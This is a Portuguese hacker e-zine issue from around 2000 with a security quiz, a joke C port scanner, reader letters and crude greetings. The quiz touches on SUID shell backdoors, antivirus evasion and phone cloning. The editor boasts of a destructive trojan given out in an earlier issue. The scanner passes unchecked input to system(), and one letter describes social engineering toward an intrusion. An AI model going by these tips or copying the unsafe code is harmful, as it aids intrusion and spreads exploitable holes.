precisava comentar aki. Eu sou um idiota de ainda estar teclando besteiras neste parenteses). A minha nota sempre ficava entre 8 e 10. Como eu ja to em espirito de vestibular, decidi eu criar meu proprio hack test. Ele mede seus conhecimentos gerais na area de computacao e esta mais voltado para sistemas linux e rede, deixando um pouco de lado a parte de hardware. Sao 20 perguntas objetivas com 3 opcoes de resposta. A cada acerto seu voce conta 0,5 pontos; Cada erro sao 0 pontos. No final some todos os pontos adquiridos e veja sua nota de 0 a 10. Para o teste manter-se fiel, nao trapaceie e nao chute. Se voce nao souber a resposta conte como questao errada. Lembre-se q este teste visa unicamente medir seus conhecimentos e se voce roubar estara enganando a si mesmo. Marque as alternativas a caneta. =) 1. Uma das principais vantagens do linux sobre o windows eh o fato dele quase nunca precisar ser resetado para q alteracoes nas suas configuracoes sofram efeito. Em qual ocasiao no linux isto nao ocorre. a) Na mudanca da resolucao de video. b) Quando a tela de login eh alterada. c) Na troca ou recompilacao do kernel. 2. Outra vantagem do linux e' seu filesystem ext2. Alem dele os kernels atuais do linux tem suporte a filesystems de diversos sistemas. Qual destes filesystems tem suporte apenas para leitura? (refere-se ao kernel 2.4.0) a) VFAT (Windows) b) HFS (Mac) c) NTFS (WinNT) 3. A funcao *PRINCIPAL* do kernel eh: a) Levar informacoes dos softwares aos hardwares. b) Gerencionamento de memoria. c) Manipular discos. 4. O MSDOS assim como o linux eh um sistema operacional que se baseia em linhas de comandos. Essa caracteristica eh conhecida como: a) Console b) Interface grafica c) Emulador de controle 5. O que eh PHP?? a) Um cgi script usado exclusivamente em httpd. b) Uma linguagem de programacao que processa htmls com base em banco de dados. c) Um protocolo que oferece um serviso em TCP. 6. Situacao: Voce tenta apagar o arquivo bunda.c e recebe um stderr de operacao nao permitida. Qual o proximo comando que voce tentaria para que conclua seu objetivo?? a) chmod +a bunda.c b) chattr -i bunda.c c) rm -f bunda.c 7. Por que winmodens nao rodam em linux?? a) Porque os programas de terminal do linux nao sao compativeis com o modem. b) Porque o modem nao roda em device drivers ttyS. c) Porque os sinais sao processados apenas atraves de drivers de windows. 8. O formato de programas e libraries em linux e' diferente do utilizado no windows. Este formato eh conhecido por: a) MZ b) ELF c) main 9. Pilha (stack) e' o termo usado para identificar a area da memoria onde fikam armasenados os buffers de um programa. Identifique o valor correspondente a pilha. a) 0x01010101 b) 0xbfff091a c) 0x8049c39a 10. Identifique o CR e LF padrao, nesta ordem: a) 0x13 e 0x0a b) 0x20 e 0x13 c) 0x0a e 0x20 11. IFS (Internal Field Separator) eh o caracter que representa o espaco em sistemas unix. Em sistemas AIX antigos o IFS era uma variavel exportavel que poderia ser mudado por qualquer usuario. Como Este bug era exploitavel (na teoria)? a) Alterava o $IFS para muitos caracteres gerando um buffer overflow. b) Alterava o $IFS para nenhum caracter causando um Kernel Panic. c) Alterava o $IFS para "/" fazendo os programas mudarem a rota de execucao dos seus processos filhos. 12. Backdoors de shells sao provavelmente as mais encontradas por sua simplicidade de fazer. Bastando copiar uma shell setando-a com SUID voce cria a backdoor. Ao ativar esta backdoor vc fica com ________ = 0 (root). A palavra que completa a frase acima eh: a) UID b) PID c) EUID 13. Os antivirus costumam ter um banco de dados com trechos dos virus em ASM e assim fazem comparacoes para identificar o tipo de virus detectado. Uma t3kn33k conhecida para evitar este reconhecimento eh: a) Abusar de NOPs(0x90) entre as funcoes do virus. b) Colocar JMPs ou CALLs no inicio dos arquivos infectados apontando para o final do code onde fikam instalados os virus. c) Infectar a MBR (virus de boot) que nao pode ser scaneada. 14. Ao exploitar um bug de buffer overflow, o Return Address deve ser redirecionado para: a) a pilha b) a area de dados c) a pilha ou uma funcao da libc 15. Os celulares digitais atuais sao facilmente reprogramaveis. Atravez do teclado voce pode alterar o NAM dele. Alguns ateh permitem o uso de dois NAMs no mesmo celular. A clonagem de celulares nada mais eh do que reprogramar NAM. O que deve ser reprogramado? a) System ID e o MIN b) ESM e MIN c) DTMF e MIN 16. Um byte eh composto por 8 bits de informacao + 1 bit extra de paridade. O bit de paridade serve para verificar se a informacao esta correta. Dados os exemplos de bytes, identifique akele que esta correto. a) 10000011 - bit paridade = 0 b) 10100001 - bit paridade = 1 c) 10110101 - bit paridade = 0 17. Exemplos de uma linguagem de alto nivel e uma de baixo nivel. Respectivamente: a) ASM e C b) Fortran e Algol c) "Prazer em conhece-lo." e "Vai toma no teu cu!" 18. Um programa em C contendo o seguinte ponteiro: struct duh { int fuck; }; struct duh *sux; Como voce faz para chamar o integer fuck dentro do ponteiro duh??? a) sux.fuck b) duh.fuck c) sux->fuck 19. Os primeiros 1024 bytes da memoria principal contem 256 enderecos que referenciam sub-rotinas ou dados localizados em qualquer parte da memoria. Estes enderecos sao conhecidos por vetores de interrupcao na linguagem Assembly. De quantos bytes sao compostos estes enderecos?? a) 2 b) 4 c) 6 20. A internet eh uma rede de computadores formada em: [] [] [] a) Espinha dorsal []---|---|---| [] [] [] [] [] \ / b) Teia []--[]--[] / \ [] [] c) Serie []---[]---[]---[]---[] A pontuacao ficaria assim: 0 - Lamah ou Begginer. 01a03 - Lamah ou Begginer que chutou. 04a06 - Begginer com uma base. 07a12 - Wannabe. Voce esta no caminho certo. 13a16 - Hacker. Voce ja tem capacidade de 0wnar. 17a19 - Hax0r l33t. Legal, voce eh um leitao. =) 20 - Parabens! Voce gabaritou a prova! A colocacao mais alta seria a de guru, mas acho que o teste nao esta preparado para classifica-lo assim. =) O gabarito sera publicado na proxima edicao. Confira suas respostas nao proxima fatal 3rror ou envie-me um email para mim que terei prazer em retornar seu escore. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 18 - SuperProgs ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ E entao? curtiram o programa da edicao passada?? =) Bom, se voce leu o code descobriu que nao passava de um trojam que apagava tudo caso voce roda-se como root. Hehehehe... teve gente que rodou a parada e fikou puto cumigo... Mas pelo menos o programa serviu para alguma coisa. Todos os que rodaram o trojam agora em diante vao no minimo dar uma olhada no code antes de sair rodando qualquer porcaria por ae. Fiquei sabendo de gente que ta comecando a aprender C por causa deste programa.. =) Ateh agora essa foi a licao mais importante que vc aprendeu: Deixar de ser um script-kiddie. Usuarios mais avancados certamente nao cairam na brincadeira entao nao tenho com o que me preocupar. Nesta edicao vou publicar um scan-port muito eleet que encontrei faz um tempao, mas ainda eh um dos melhores ja feitos. O metodo de scaneamento que ele usa eh um dos mais complexos que ja vi e mesmo assim consegue ser um programa compacto no tamanho. Bom, ele tambem podia ser feito em shell-script, mas o editor (que nao consegui saber quem eh) achou que programando system()s seria mais l33t. Ah!!! Qdo o programa encontra uma porta aberta ele conecta-se ao servico e por issu eh preciso sair manualmente. Issu prova que ateh mesmo os melhores codeadores nao conseguem se livrar de seus bugs. =) <++> Superprogs/scanport.c #include #include main() { int i; char ip[255],str2[255]; printf("Entre com o host para ser scaneado:"); gets(ip); printf("\n"); for (i=1;i<9999;i++) { sprintf(str2,"telnet %s %d",ip,i); system(str2); } } <--> NOTA `A LAMERS e BEGGiNERS: Nestas materias eu costumo ser sarcastico. _xXXXP^'' ``^YXXXx_ _xXXXXP~ 19 - 3m4ilz ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Repetindo o nosso email eh: cheat@struck.8m.com Mas se estiver dando problema tente: cszine@email.com Agora se seu comp for patriota entao: decopudim@ig.com.br Lembrando sempre que se escreve tudo sem acento. NOTA: *** = Censurado =) Fr0m: ******** ******* <****************@inatel.br> Dat3: Fri, 10 Nov 2000 00:59:43 -0200 Subject: Falae'z Ae cara... tipo... a zine ta muito boa... vai direto ao assunto ao inves de ficar enrolando quem esta lendo e tal... tipo eu sei que vc deve tar cheio das coisas ai.. e principalmente com a parada do vestibular.. eh foda.. Eu estudo no ******** ******* ** **************** (******) e o ftp server deles eh o pro ftpd 1.2.0 pre3 que eh vulneravel a buffer overflow.. mas tipo... nem tem permissao de write la... dai eu liguei pro admim falando umas mentiras e tal.. pra ele abrir um dir com write la.. mas ele nem curtiu a ideia... tem algum outro jeito de xploitar la sem permissao de write?? acho q naum neh.... bom.. xeu continuar rodando o wuscan.pl aqui pra ver se acho algo.. (ahhh vc poderia adicionar o proftpd tb no wuscan) [ ]'s ******** -------------- Opa! Primeiramente obrigado pelos comentarios sobre a zine. Tipo... Ja que tu estuda lah, c pode falar com o admin para liberar uma conta ftp somente para voce. Esta ideia ja eh + cabivel.. =) Tipo... wuscan.pl nao pode ter proftpd pq o nome do programa contradiz a ideia. =) A principio ele iria scaniar todos os daemons ftps bugzados mas para poupar trabalho eu deixei-o assim... C tu quizer alterar alguma coisa por mim ta tudo bele. ############## ############## ############## Fr0m: ****** ******** <**********@hotmail.com> Dat3: Mon, 13 Nov 2000 22:31:20 EDT fala noiadu! tipow, tentei portah teu Henix 4 Linux pru DOS c/ u borland 3.1...... mexi soh uns dia nele, e perdi u fonti, mas, naumsei c pour aliviu ou disgustu, achei eli...... c tu kiser v, ou apagah, ou poh em qq lugar, dah pru teu cachorro mastigar, qq coisa, tah indu! tah c/ .PRJ e talw........ naum liga q tem MUUUIIITTTUUUU bug mermu! nem liguei mexeh oh! faz uma avaliacaum ai.... d 0 ah 0.5..... eh qntu??? falow! xohih pq t enchi muitu!! **************** -> zoia minha page lah vei! http://www.**********.com -------------- Heheheheh... Tipow... Valew a tentativa, mas ele fikou com mtos bugs mesmo. A principio parecia q tava legal mas logo achei diversos erros. Relax! Nao esquenta q num futuro proximo eu faco o trabalho de corrigir tudo ou quase tudo e ae dah pra publicar como uma nova versao do henix for MSDOS. Novamente obrigado por tentar me ajudar neste programa. Hm... Ja que voltamos a tocar neste assunto, ja vou adiantando a vcs que pro futuro o henix vai ser mais do que somente um emulador... Aguardem!!! =) ############## ############## ############## Fr0m: **** <**************@uol.com.br> Dat3: Sat, 7 Nov 1998 17:07:18 -0200 Subject: Sua zine ta fera :) Caraca pelo jeito parece que naum e pra chega este e-mail ate vc a cada hora que eu pego um zine nova seu e-mail muda hehe vamo ve se agora vai! Opa!!!!!!!!!!!!!!!!!!!!!!!!!!!! BLz? Sua zine ta bem fera cara apesar de entender menos da metade :). TIpow queria que vc dece uma olhadinha pra mim em www.******************.hpg.com.br e desse sua opnião :) dos graficos e do que mais eu poderia colocar nela. VaLeUs! Aguardo sua opnião :) FUIZ -------------- Eu dei uma olhada na tua page. Deu pra perceber q c ja manja algo sobre DHTML ja q a abertura foi toda feita nesta linguagem. O resto da page, pelo menos ate' agora, esta em construcao com algumas execoes. A estrutura dela ta blza e espero q o conteudo tb seja tao bom qto o visual. ######### ######### ######### Fr0m: ** ****** <*********@netsite.com.br> Dat3: Tue, 21 Nov 2000 21:47:24 -0200 Subject: Legítimo! Ae Cheat Struck, Blz? Bom cara, antes de tudo falar que eu curto muito o seu "trabalho" que eu considero o único hacker brasileiro junto com o SennaSpy que vai atrás, aprende e faz; não no sentido de estar aí nos mirrors, justo que nunca te vi, mas com certeza estava nos tantos logs q vc apagou por onde andou. Sem pagação de pau, eu acompanho desde a CSZ mas devido a porra da escola eu não evolui junto com você, que foi junto com a "elite" , vc ou vcs ditaram ou pelo menos seguiram a evolução da segurança. Eu sempre estive no r00t, no hackphr, no fashion; lembro da Bl0w, Resistencia, até da Axur05 que é véia, mas não deu pra mim acompanhar. O Linux eu não tive tempo de aprender, pq aqui em casa o comp. não é só meu então já viu, mas como oq não importa sou eu; estou escrevendo mesmo é pra parabenizar pela zine que é uma puta zine, legal pra caralho e com muita info boa pra kct! Seria legal algo sobre C ou Perl, Sh, Asm e esta principalmente pra ter uma noçãozinha pra fazer uma parte de crack que direta ou indiretamente é um príncipio pra escrever os buffer overflow que vc citou no projeto Omega (nop's) . Fora essas sugestões queria te fazer uma pergunta, e me desculpa a lammeragem, mas mesmo que pouco por dentro da prática sempre me manti atualizado mesmo que na teoria, os termos e tal, mas tem uma coisa que vem me quebrando a cabeça que eu meio que deduzi, mas não sei bem! Um buffer overflow é um code que fode um programinha, e apartir disso você junto nesse code coloca uma shellcode que é pra acessar a conta shell apartir daquele erro, tipo chamar?? E se não tivesse esse shellcode no meio apenas iria estragar o progzinho tipo um DOS, sem nenhuma ação que não fosse inutilizar o serviço? Shellcode seria isso, chamar uma shell, ou estou falando bosta? Bom, o negócio é parabenizar vc por ter evoluido tanto visto seus primeiros textos desde a CSZ e atualmente, e até mesmo pelo curto espaço de tempo! Entenderei se não responder...=) [ ]'s ********* -------------- Rlz... ta dando um dia de furia na tv. opa! Primeiro, obrigado pelos comentarios `a zine e a mim. Sobre programacao, eu vou ver c escrevo algo descente sobre uma das linguagens sugeridas para a proxima edicao. Ah... bom o shellcode eh issu mesmo. Eh um codigo em ASM q chama uma shell para ser executada depois q o buffer overflow acontece. Se ele nao estiver no xploit o q acontecera sera um Segmentation Fault. Issu vai derrubar o prog. Resumindo: eh exatamente o q c falou. Uma pergunta: pq eu nao responderia?? ######## ######## ######## Fr0m: ** ** <********@yahoo.com.br> Dat3: Mon, 11 Dec 2000 20:16:43 -0300 (ART) Subject: comecando a comecar cara, eu sei, vc sabe, e todos sabem, q, putz, no comeco, eh a pior merda, vc naum sabe o q faz, pergunta pra alguem e eh sempre a mesma merda, ninguem fala sobre cmo aprender.... tipo, falando assim parece ateh um bosta de um lamma , mais, parece q nessa bosta de mundo cibernetico ninguem sabe diferenciar um lamma de um begginer, merda, mas... tipo c poderia me falar por onde comecar, o q aprender primeiro..... ja tenho linux, sei q vo te q conhece ele intero...... mas... da umas dicas, links, e tudo mais. valew t+ -------------- Claro.. Um dos 1os passos q eu costumo recomendar eh visitar a www.txt.org. E' uma otima coletanea de textos brasileiros. O unico problema eh q eh mta coisa. Comece lendo as zines Axur05, NearZ, The Death Knights, RWX, FuckerWorld, Hack n' Phreak. Depois baixe o resto e va lendo e vc mesmo pode selecionar o que e' bom e o que nao presta. Outra coisa: participe de lista de discussoes como BOS e LinuxBr. Alem de estar sempre c atualizando. Por inicio eh isso. Depois que voce comecar a colocar tudo na pratica fika mais facil. Dae vc soh precisara' ler sobre akilo q vc quizer se aprofundar. Mas o negocio eh ir atraz e procurar bastente coisa pra ler e consequentemente aprender. Nao basta saber o que certa coisa faz, vc tem que saber como ela funciona para poder evoluir cada vez mais. Outro detalhe que eh bom deixar claro: Nao recomendo o aprendizado apenas com pessoas em chats tirando suas duvidas. Ainda mais pq mto pouca gente gosta de responder perguntas de pessoas que nem conhecem. ######## ######## ######## Fr0m: ****** <********@ig.com.br> Dat3: Fri, 29 Dec 2000 14:27:12 -0200 Subject: oi !! ae cara fui na HP quando tento dar Download do Henix para WIN (DOS) ele pede login e senha !! por favor q devo colocar para preencher esses campos ?? -------------- ?????? Se eu entendi bem, o problema eh a senha para dar download... Bem.. nao tem senha nenhuma. Issu pode ta acontecendo caso vc esteja usando algum programa de download. Caso eu tenha entendido errado e o problema seja a senha para entrar no Henix. Neste caso eh login: struck , senha: cheat _xXXXP^'' ``^YXXXx_ _xXXXXP~ 20 - This is d end ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Chegamos ao final de mais uma edicao da nossa querida e-zine. Aproveitando que a zine ja esta acabando quero divulgar a nossa nova promocao!!!! =) Na verdade nao eh bem uma promocao, eh mais uma "divulgacao de talentos", podemos assim chamar. Estamos atraz de um novo logo, tanto para a page que deve ser enviado em modo jpeg, qto para a zine que deve ser ascii em modo txt. Envie-nos suas obras e nos escolheremos a melhor para usarmos aki na zine e na nossa nova page que esta sendo criada. O nome dos autores serao publicados nas proximas edicoes, emquanto o logo estiver sendo usado. E issu serve como prestigio para vcs, afinal, nao eh qquer um que tem seu nick publicado aki. =) Hm... pensando melhor, qquer um consegue ter seu nick publicado aki. =/ Bom, espero que vcs participem do nosso concurso. Outra novidade eh que em breve estarei publicando um jogo de comp. feito 100% por mim, incluindo os graficos que serao desenhados a mao e scaneados. A programacao esta sendo feita em VB pois eh a linguagem mais acessivel pra mim poder utilizar alguns recursos do DirectX. Sendo assim o jogo sera apenas para windows (afinal eh para isso que ele serve =)). Ainda estou buscando uma historia descente para o jogo entao qualquer ideia sera bem recebida. Tipo... pense em algo que voce gostaria de ver em um jogo que ainda nao apareceu em nenhum outro e envie a ideia para meu email. Pode ser qquer coisa, ate' sexo com celebridades =). Mais detalhes sobre o game: sera um jogo de tiro em 2d onde o jogador tem que cumprir missoes como roubar bancos, etc mas pode desviar-se de seus objetivos. Eh possivel falar com pessoas, pegar novas armas e tudo que um bom adventure deve ter para ser um bom jogo. Enviem suas ideias que se forem boas serao atribuidas ao jogo. Agora vamos aos famosos gr33tz: ^^VENTO^^ Transmissor de diversos tipos de virus da gripe. BEHAEL Aprendeu a escrever com letras GRAUDAS!!! (caps lock) C0nd0r Manten-se sempre bem atualizado e defende a causa FREE KEVIM! Cacaio Fundador da organizacao dos cavaleiros mortos. Carti Criador de patos que tem uma bicicleta roxa. Chernob Serios desturbios mentais que se agravaram com o tempo. Dave Mustaine Fabricante de cha' medicinal contra desarranjos estomacais. Defcon Possui sequelas de sua primeira transa. Draco Criador do projeto anti-pate-de-figado-de-ganso. Eletronic Embaixador da costa do norte do marfim. Encripty Queima formigas com lentes de aumento. Procurado pela sociedade protetora dos animais. Kamikase Shell Foi roubado por "funcionarios do banco q verificavam se seus dolares eram falsos". hak Assusta criancinhas com historias de sua infancia. MaskMaster Criador de minhocas. Hmmm... MidNight Domador de cobras. Hmmm... N4rfy Hambientalista. Hmmm... NuLLz Tarado por pes de virgens. Overnix Digimon em treinamento. Tecnica especial: bolhas. pcHazard Tenta ensinar passos de danca para paraplegicos. pcmcia Internado em um asilo para velhos tarados. psaux Gago, fanho e com um sotaque incompreensivel que nao notou ter problemas de comunicacao. RoadHouse Faz propagandas de pomadas para hemorroidas. "Ah! Ja posso andar de bicicleta denovo!" Slash_DOMI Provador de drogas medicinais em fase de experiencia. Source Presidente de honra dos anti-evolucionarios. Spike Projetista do pino de seguranca(que logo substituira o cinto de s.) Suli_Cool Mexicano com tendencias a tornar-se uma largartixa. syscall Costuma ter erecoes ivoluntarias em banheiros masculinos. Thasmx Defensor do movimento de legalizacao da maconha. Tinkertrain Botanico desenvolvendo novas drogas. TPGA Desenhista e criador de objetos de tortura. vh Procurado na india por fazer churrasco com 2 bois sagrados. E este eh o fim. Esto es el fin. This is the end. Cya l8r! Hasta la vista! Falow!!! _EoF_